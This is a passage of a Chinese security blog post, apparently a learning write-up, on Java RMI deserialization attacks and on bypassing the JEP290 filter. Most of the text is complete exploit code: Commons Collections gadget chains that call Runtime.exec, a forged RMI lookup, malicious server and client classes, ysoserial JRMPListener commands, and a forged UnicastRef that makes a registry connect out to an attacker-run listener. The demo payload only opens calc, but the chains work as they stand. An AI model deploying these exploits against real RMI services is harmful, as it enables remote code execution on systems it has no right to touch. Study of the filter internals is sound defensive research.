import sun.rmi.server.UnicastRef;

import java.io.ObjectOutput;
import java.io.Serializable;
import java.lang.annotation.Documented;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;

public class lookupAttack {
    public static void main(String[] args) throws Exception {
        String execArgs = "calc";
        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(1) });
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{execArgs}),
                new ConstantTransformer(1) };
        Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
        Field iTransformers = transformer.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain, transformers);
        final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
        final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) ctor.newInstance(Documented.class, lazyMap);
        Map mapProxy =  (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
        InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Documented.class, mapProxy);

        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        Remote remote = Remote.class.cast(Proxy.newProxyInstance(
                Remote.class.getClassLoader(),
                new Class[] { Remote.class}, invocationHandler));

        //获取UnicastRef
        Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
        fields_0[0].setAccessible(true);
        UnicastRef ref = (UnicastRef) fields_0[0].get(registry);

        //获取operations

        Field[] fields_1 = registry.getClass().getDeclaredFields();
        fields_1[0].setAccessible(true);
        Operation[] operations = (Operation[]) fields_1[0].get(registry);

        // 伪造lookup的代码,去伪造传输信息
        RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(remote);
        ref.invoke(var2);
    }
}

运行效果如下:

image-20250919164922187

如果出现了跟我一样,划了黑线。不是说不能用了,这个意思是这些标记已经过时了,RMI官方已经不推荐使用了。但是我们只是学习而言,管他推不推荐。

  • unbind的利用方式与lookup一模一样

可以看看它的实现

image-20250919165347348

0x03 攻击客户端

注册中心攻击客户端

对于注册中心来说,我们还是从这几个方法触发:

  • bind
  • unbind
  • rebind
  • list
  • lookup

除了unbindrebind都会返回数据给客户端,返回的数据是序列化形式,那么到了客户端就会进行反序列化,如果我们能控制注册中心的返回数据,那么就能实现对客户端的攻击,这里使用ysoserial的JRMPListener,因为 EXP 实在太长了。命令如下:

java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 calc

我实在windows环境下运行的,发现最后的calc不带引号才能用。

客户端的测试代码:

package com.test.RMI;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class AttackClient {
    public static void main(String[] args) throws RemoteException {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        registry.list();
    }
}

我们首先在cmd中运行命令,开启监听

image-20250919184926473

然后运行客户端的测试代码,效果如下:

image-20250919184953862

image-20250919185002925

服务端攻击客户端

我们前面在分析RMI原理的时候,有分析到。在服务端 —> 客户端这里,也是存在攻击的,一共是两个点:一个是 call.executeCall(),另一个点是 unmarshalValue 这里。

第一点我们之后会单独讲解,这里我们主要利用的是第二点unmarshalValue ,当服务端返回一个对象的话,客户端会利用这个方法进行反序列化。

服务端攻击客户端,大抵可以分为以下两种情景。

  1. 服务端返回Object对象
  2. 远程加载对象(高版本的jdk修复了,实现条件苛刻所以就不讲解了)

下面我着重讲解一下第一点。

服务端返回Object对象

其实攻击手法也非常的简单,我们需要伪造一个服务端,当客户端调用某个远程方法时,返回的参数是我们构造好的恶意对象即可。这里以CC1为例:

  • User接口,返回的是Object对象
package com.test.RMI2;

public interface User extends java.rmi.Remote {
    public Object getUser() throws Exception;
}
  • 服务端实现 User 接口,返回 CC1 的恶意 Object 对象
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.LazyMap;  

import java.io.Serializable;  
import java.lang.annotation.Retention;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.InvocationTargetException;  
import java.lang.reflect.Proxy;  
import java.rmi.RemoteException;  
import java.rmi.server.UnicastRemoteObject;  
import java.util.HashMap;  
import java.util.Map;  

public class ServerReturnObject extends UnicastRemoteObject implements User  {  
    public String name;  
 public int age;  

 public ServerReturnObject(String name, int age) throws RemoteException {  
        super();  
 this.name = name;  
 this.age = age;  
 }  

    public Object getUser() throws Exception {  

        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
 new InvokerTransformer("getMethod",  
 new Class[]{String.class, Class[].class},  
 new Object[]{"getRuntime",  
 new Class[0]}),  
 new InvokerTransformer("invoke",  
 new Class[]{Object.class, Object[].class},  
 new Object[]{null, new Object[0]}),  
 new InvokerTransformer("exec",  
 new Class[]{String.class},  
 new String[]{"calc.exe"}),  
 };  
 Transformer transformerChain = new ChainedTransformer(transformers);  
 Map innerMap = new HashMap();  
 Map outerMap = LazyMap.decorate(innerMap, transformerChain);  

 Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
 Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);  
 construct.setAccessible(true);  
 InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);  
 Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);  
 handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);  

 return (Object) handler;  
 }  
}
  • 服务端将恶意对象绑定到注册中心
import java.rmi.AlreadyBoundException;  
import java.rmi.RemoteException;  
import java.rmi.registry.LocateRegistry;  
import java.rmi.registry.Registry;  

public class EvilClassServer {  
    public static void main(String[] args) throws RemoteException, AlreadyBoundException {  
        User liming = new ServerReturnObject("liming",15);  
 Registry registry = LocateRegistry.createRegistry(1099);  
 registry.bind("user",liming);  

 System.out.println("registry is running...");  

 System.out.println("liming is bind in registry");  
 }  
}
  • 客户端获取对象并调用 getUser() 方法,将反序列化服务端传来的恶意远程对象。
import java.rmi.Naming;  
import java.rmi.NotBoundException;  
import java.rmi.Remote;  
import java.rmi.RemoteException;  
import java.rmi.registry.LocateRegistry;  
import java.rmi.registry.Registry;  

// 服务端打客户端,返回 Object 对象  
public class EvilClient {  
    public static void main(String[] args) throws Exception {  
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);  
 User user = (User)registry.lookup("user");  
 user.getUser();  
 }  
}

先运行服务端的代码,然后运行客户端的代码。

image-20250919200101578

0x04 攻击服务端

客户端打服务端

我们前面分析RMI原理的时候,在第7点客户端发起请求服务端做了什么分析里分析过,在unmarshalValue方法中存在反序列化漏洞。

image-20250919200947607

服务端会对客户端传来了,不在if判断里的类型进行反序列化。所以其实跟服务端攻击客户端一样,我们只需要调用远程对象的方法传入一个精心构造的恶意对象即可。

  • 我们在原本的User接口上添加一个addUser方法
public void addUser(Object user) throws RemoteException;
  • 然后在实现类里面加上一个空实现即可
    public void addUser(Object user) throws RemoteException{
    }
  • 最终服务端的利用代码
package com.test.RMI2;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.annotation.Documented;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class LocalUserClientAttack2ServerByCC1 {
    public static void main(String[] args) throws Exception {
        String execArgs = "calc";
        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(1) });
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{execArgs}),
                new ConstantTransformer(1) };
        Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
        Field iTransformers = transformer.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain, transformers);
        final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
        final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) ctor.newInstance(Documented.class, lazyMap);
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
        InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Documented.class, mapProxy);
        // ================addUser(Object obj) Object在服务端会被反序列化所以会触发对应的CC1攻击链
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        User user = (User) registry.lookup("user");
        user.addUser(invocationHandler);
    }
}

效果如下:

image-20250919203245495

成功弹出计算器。

同样也是可以远程加载对象,和上边Server打Client一样利用条件非常苛刻,高版本利用不了。

JEP290

JEP290介绍

JEP290机制是用来过滤传入的序列化数据,以提高安全性,在反序列化的过程中,新增了一个filterCheck方法,所以,任何反序列化操作都会经过这个filterCheck方法,利用checkInput方法来对序列化数据进行检测,如果有任何不合格的检测,Filter将返回REJECTED。但是jep290filter需要手动设置,通过setObjectInputFilter来设置filter,如果没有设置,还是不会有白名单。

JEP290本身是JDK9的产物,但是Oracle官方做了向下移植的处理,把JEP290的机制移植到了以下三个版本以及其修复后的版本中:

  • Java™ SE Development Kit 8, Update 121 (JDK 8u121)
  • Java™ SE Development Kit 7, Update 131 (JDK 7u131)
  • Java™ SE Development Kit 6, Update 141 (JDK 6u141)

测试案例

这里我们的测试案例依旧使用的我们之前客户端攻击注册中心的例子。只不过我们将jdk版本换成了jdk8u121。

然后我们先运行服务端,然后运行客户端。

这时候可以发现服务端的报错日志如下:

image-20250921140558991

显示我们传入的AnnotationInvocationHandler类被拒绝,也就是被过滤了。这就是JEP290造成的影响。

接下来跟进一下注册中心的创建流程,看看与之前究竟有什么区别。

JEP290的防御手法

  • 首先到了RegistryImpl构造方法处。

image-20250921140854786

image-20250921141014253

可以看到,实例化UnicastServerRef时第二个参数传入的是RegistryImpl::registryFilter。传入之后的值赋值给了this.Filter

  • 看一下registryFilter这个方法:

我们注意到后面的返回值处

return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;

相当于配置了一个白名单,当传入的类不属于白名单的内容时,则会返回REJECTED,否则就会返回ALLOWED。白名单如下:

String.class
Number.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class

我们前面也分析过,在执行bind()操作请求以后,在注册中心会走到oldDispatch方法里,最终是会去调用this.skel.dispatch去绑定服务的。

image-20250921141517421

可以发现在这句之前有一个this.unmarshalCustomCallData(var18);跟入进去看看。

image-20250921141624351

可以看到在这里调用了Config.setObjectInputFilter设置了过滤。UnicastServerRef.this.filter就是之前实例化UnicastServerRef时所设置的。规则就是之前所说的白名单,不属于那个白名单的类就不允许被反序列化。

  • 然后我们跟进到skel.dispatch方法

image-20250921141914716

主要是对反序列化做了过滤,所以我们跟进readObject

image-20250921142235462

这里调用了readbject0,继续跟进。

先获取输入当中 blkmode,如果数据为 true,则继续进行后续判断,后续做了一部分的数据处理工作,我们直接来看最重要的地方 checkResolve() 方法

image-20250921143050636

跟进

image-20250921144307261

调用了filerCheck方法,继续跟进

image-20250921144403815

在这里面发现了关键代码,这里调用了serialFilter.checkInput。继续跟进

前面都是作一些边界检查,并获取输出流中的对象。然后关键的代码来了,这里会按顺序调用每个过滤器函数,一旦某个过滤器返回 ACCEPTED/REJECTED(不是 UNDECIDED),就返回那个结果。

image-20250921145834639

也就是最终会走到了RegistryImpl#registryFilter。而我们测试案例中的AnnotationInvocationHandler不在白名单里面,自然被过滤了。

我不知道为什么我看别的师傅可以断点调试,但是我的调试一进skel.dispatch就出问题了,很难受。

JEP290绕过

这里我们可以先看一下白名单里面都能过什么,白名单如下

String.class
Number.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class

绕过思路:其实我们前面已经提到过很多次了,客户端的网络请求其实最终都会走到UnicastRef.class下的invoke方法,然后在里面调用executeCall方法。我们分析过,这个方法是存在漏洞的,前面的注册中心攻击客户端就是利用了这个漏洞,通过开启JRMPListener来攻击它。既然白名单里存在这个类,那如果能找到一条利用链,让服务端发起一个客户端请求,然后同时开启一个JRMPListener不就能利用成功了?

绕过利用

我们先直接看如何利用,然后再分析为什么这里利用。

利用流程:

  1. ysoserial启动一个恶意的JRMPListener(CommonCollections1的链在1.8下用不了,所以这里用了CommonCollections5的)
  2. 启动注册中心
  3. 启动Client调用bind()操作
  4. 注册中心被反序列化攻击
  • 先用 ysoserial 开启 JRMP 3333 端口的监听
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "calc"
  • 然后编写 RMI 的 EXP
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class BypassJEP290 {
    public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException {
        Registry reg = LocateRegistry.getRegistry("localhost",1099); // rmi start at 2222
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333); // JRMPListener's port is 3333
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Registry proxy = (Registry) Proxy.newProxyInstance(BypassJEP290.class.getClassLoader(), new Class[] {
                Registry.class
        }, obj);
        reg.bind("Hello",proxy);
    }
}

先启动JRMP监听,然后服务端还是用我们之前一直用的,启动一个注册中心,然后运行客户端。

image-20250921153446163

可以发现利用成功,弹出很多个计算器。

这个 payload 的原理就是伪造了一个 UnicastRef里面放的信息是我们开启的JRMP监听的信息 ,由于其类型在白名单内所以传入注册中心会进行反序列化。而这个反序列化,其实最后会走到DGC的dirty方法里并调用invoke方法向我们开启的JRMP监听处发送网络请求,最终利用成功。

绕过分析

这里引用一张别的师傅画的利用流程图:(注意我这里演示的JRMP端在3333端口)

img

其实我对这张图有一个地方不理解,就是第二点,按照我们的payload不应该是从服务端调用bind方法,bind一个UnicastRef吗?可能那位师傅考虑的是最终bind方法都是在服务端执行的。

  • 下面正式开始分析:

客户端调用LocateRegistry.getRegistry获取注册中心后,获得的是一个封装了UnicastRef对象的RegistryImpl_Stub对象,其中UnicastRef对象用于与注册中心创建通信。

image-20250921155432985

而我们payload的原理就是伪造了一个UnicastRef用于跟注册中心通信,这里用于伪造的语句是模仿ysoserial里的JRMPClient.java写的。ysoserial里的代码如下:

ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
    Registry.class
}, obj);
return proxy;

这里面用到的类都在白名单里面,所以不会被过滤。

  • 我们从bind()方法开始分析一下这一整个流程。

依旧是我一进入skel.dispatch里我的调试就出问题,我猜测原因是没给它替换jdk8u121的sun包。只能手动调试了哎。

我们前面分析过,在客户端调用bind方法,其实最后会走到skel.dispatch方法里。我们直接跟进到那里。

image-20250921162421735

使用的是readObject方法最终是调用了RemoteObjectInvocationHandler父类RemoteObjectreadObject(RemoteObjectInvocationHandler没有实现readObject方法)。我们跟进到RemoteObjectreadObject()

image-20250921162723026

  • 结尾处有一个readExternal继续跟进。

image-20250921162843152

  • 调用了LiveRef的read方法,继续跟进

image-20250921163040005

可以看到这里把payload里所传入的LiveRef解析到var5变量处,里面会包含了ip端口信息(JRMPListener的端口)。这些信息将用于后面注册中心与JRMP端建立通信。

  • 接着再回到dispatch那里,在调用了readObject方法之后调用了var2.releaseInputStream();,持续跟入:

image-20250921163145484

  • 继续跟入this.in.registerRefs();

image-20250921163647474

这里传递的var2里包含的就是之前的ip端口信息。继续跟入:

image-20250921163952583

调用了DGCClient.EndpointEntry.lookup继续跟进。

image-20250921164036973

调用了EndpointEntry继续跟进。

image-20250921164154613

可以发现这里创建了一个DGCImpl_Stub,最后DGCCient.EndpointEntry返回的var2是一个DGCClient对象:

回到前面我们继续跟入var2.registerRef

image-20250921164316193

发现在结尾处调用了makeDirtyCall方法并传入了DGCClient对象var2,跟进看一眼:

image-20250921164438687

调用了dgc对象的dirty方法,跟进

image-20250921164611993

在这里就开始与我们伪造的UnicastRef里的ip与端口所在的JRMP进行连接了:通过newCall建立连接,writeObject写入要请求的数据,invoke来处理传输数据。这里是将数据发送到JRMP端,继续跟入看下在哪里接收的JRMP端的数据。跟入super.ref.invoke(var5);

image-20250921164808718

发现这条链子最终竟然在服务端调用了executeCall,走到这里你应该就明白了所有的利用过程。我们通过精心伪造的UnicastRef,最终会向我们指定的ip与端口(也就是开启的JRMP监听)发起网络请求。这个时候的注册中心就相当于DGC的客户端了,这就是我为什么在之前讲解思路的时候提到让服务端发起一个客户端请求。

到这里就可以把此时的注册中心当作客户端,然后把JRMP监听当作注册中心,攻击手法就与我们前面讲解攻击方式中的注册中心攻击客户端一样了

跟入var1.executeCall()

image-20250921165435329

从注册中心向我们开启的JRMP监听发起了网络请求,然后JRMP端发过来的数据会在这里被反序列化,这一个过程是没有调用setObjectInputFilter的,serialFilter也就为空,所以只需要让JRMP端返回一个恶意对象就可以攻击成功了。而这个JRMP端可以直接用ysoserial启动。

最终的效果就是,由注册中心向我们开启的JRMP监听发起了网络请求,JRMP监听返回一个恶意类给注册中心反序列化,最终成功利用。

总结

由于我不能断点调试,所以自我感觉讲解的非常烂。

整体的利用流程再总结一下:

  • 模仿ysoserial的JRMPListener的payload,伪造一个UnicastRef(里面包含的信息指向我们的JRMP监听)。并通过bind绑定到注册中心。
  • 由于UnicastRef在白名单里面,所以能够正常反序列化,会走到RemoteObject的readObject里。
  • 一路跟进后会发现,在反序列化的过程中会创建DGC对象,并调用其dirty方法
  • 在dirty方法中,又会通过newCall与JRMP监听建立连接,并调用UnicastRef的invoke方法。
  • 在invoke方法里,通过executeCall发起网络请求。
  • 最终JRMP返回一个恶意类,注册中心这边将其反序列化了,成功漏洞利用。

参考资料

如果看不懂我写的,可以看这几位师傅的,写的比我好

https://xz.aliyun.com/news/8299

https://drun1baby.top/2023/04/18/%E6%B5%85%E8%B0%88-JEP290/#%E7%BB%95%E8%BF%87%E5%88%86%E6%9E%90

更高版本的绕过

在JDK8u231的dirty函数中多了setObjectInputFilter过程,所以用UnicastRef就没法再进行绕过了。

国外安全研究人员@An Trinhs发现了一个gadgets利用链,能够直接反序列化UnicastRemoteObject造成反序列化漏洞。

可以参考Hu3sky师傅的分析文章:RMI Bypass Jep290(Jdk8u231) 反序列化漏洞分析

点赞

发表回复

电子邮件地址不会被公开。必填项已用 * 标注